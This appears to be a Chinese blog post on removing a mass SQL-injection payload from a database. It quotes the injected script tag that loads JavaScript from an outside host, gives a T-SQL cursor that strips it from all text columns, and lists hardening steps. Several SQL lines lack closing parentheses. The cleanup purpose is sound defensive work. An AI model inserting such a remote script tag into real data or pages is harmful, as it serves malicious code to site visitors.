如何最快速度删除?
" <script   src=http://3b3.org/c.js> </script> "
---------------------------------------------------------------
进入SQL查询分析器
选择你的数据库
第一步:先sql表修改所有者为dbo

 



第二步:统一删除字段被挂的js

 

declare @t varchar(555),@c varchar(555) ,@inScript varchar(8000
set @inScript='<script src=http://3b3.org/c.js></script>' 
declare table_cursor cursor for select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167
open table_cursor 
fetch next from table_cursor into @t,@c 
while(@@fetch_status=0
begin 
exec('update ['+@t+'] set  ['+@c+']=replace(cast(['+@c+'] as varchar(8000)),'''+@inScript+''','''')'  ) 
fetch next from table_cursor into @t,@c 
end 
close table_cursor 
deallocate table_cursor;
---------------------------------------------------------------
彻底杜绝SQL注入

1.不要使用sa用户连接数据库
2、新建一个public权限数据库用户,并用这个用户访问数据库
3、[角色]去掉角色public对sysobjects与syscolumns对象的select访问权限
4、[用户]用户名称-> 右键-属性-权限-在sysobjects与syscolumns上面打“×”
5、通过以下代码检测(失败表示权限正确,如能显示出来则表明权限太高):

   Table_Cursor   

 

---------------------------------------------------------------

相关文章:

  • 2022-12-23
  • 2021-11-30
  • 2021-04-24
  • 2022-12-23
  • 2022-12-23
  • 2022-12-23
  • 2021-06-17
  • 2021-06-25
猜你喜欢
  • 2022-12-23
  • 2021-09-01
  • 2021-10-18
  • 2021-12-20
  • 2022-12-23
  • 2021-07-27
相关资源
相似解决方案